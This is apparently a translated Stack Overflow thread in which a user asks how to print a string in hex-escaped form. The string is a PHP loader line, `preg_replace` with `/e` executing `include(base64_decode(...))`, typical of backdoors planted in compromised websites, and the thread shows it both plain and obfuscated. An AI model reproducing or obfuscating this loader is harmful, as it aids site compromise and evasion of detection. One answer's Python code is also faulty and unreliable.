如何打印包含十六进制的字符串作为包含十六进制

时间:2014-08-13 21:41:42

标签: python string hex decode

如何使用Python中的十六进制打印变量作为字符串?不要转换它而不是这样打印:

<?php @preg_replace("@(.+)@ie","include(base64_decode("\1"));","L2hvbWUvY2lmb29yZy9wdWJsaWNfaHRtbC9wbHVnaW5zL2VkaXRvcnMvdGlueW1jZS90ZW1wbGF0ZXMvLiU4MjhFJTAwMTMlQjhGMyVCQzFCJUIyMkIlNEY1Nw==");

我希望将输出作为带有十六进制的字符串输出(来自&#34;&#34;&#34;到&#34;&#34;&#34;带有编码字符)。

a="""<?php @preg_replace("\x40\50\x2e\53\x29\100\x69\145","\x69\156\x63\154\x75\144\x65\50\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65\50\x22\134\x31\42\x29\51\x3b","\x4c\62\x68\166\x62\127\x55\166\x59\62\x6c\155\x62\62\x39\171\x5a\171\x39\167\x64\127\x4a\163\x61\127\x4e\146\x61\110\x52\164\x62\103\x39\167\x62\110\x56\156\x61\127\x35\172\x4c\62\x56\153\x61\130\x52\166\x63\156\x4d\166\x64\107\x6c\165\x65\127\x31\152\x5a\123\x39\60\x5a\127\x31\167\x62\107\x46\60\x5a\130\x4d\166\x4c\151\x55\64\x4d\152\x68\106\x4a\124\x41\167\x4d\124\x4d\154\x51\152\x68\107\x4d\171\x56\103\x51\172\x46\103\x4a\125\x49\171\x4d\153\x49\154\x4e\105\x59\61\x4e\167\x3d\75");"""

有可能吗?抱歉儿童问题。

2 个答案:

答案 0 :(得分:0)

我不确定我是否完全理解你想如何操纵你提供的字符串。如果您愿意,可以尝试将字符串转换为列表,然后将列表中的字符转换为十六进制值。

>>> a = '@(.+)@ie'               #part of your provided string
>>> a = lists(a)                 #convert a to a list
>>> a = [hex(ord(i)) for i in a] #hex conversion of each list element
>>> a.insert(0,'')               #include a "\" at the beginning of the string
>>> a = '\\'.join(a)             #join list of hex values separated by "\" in a string
>>> print a
\0x40\0x28\0x2e\0x2b\0x29\0x40\0x69\0x65

我希望你有所帮助

答案 1 :(得分:-1)

如果在为变量指定字符串时在引号前添加r,则会将其指定为原始字符串。

>>> a = r"\x40"
>>> print a
\x40
相关问题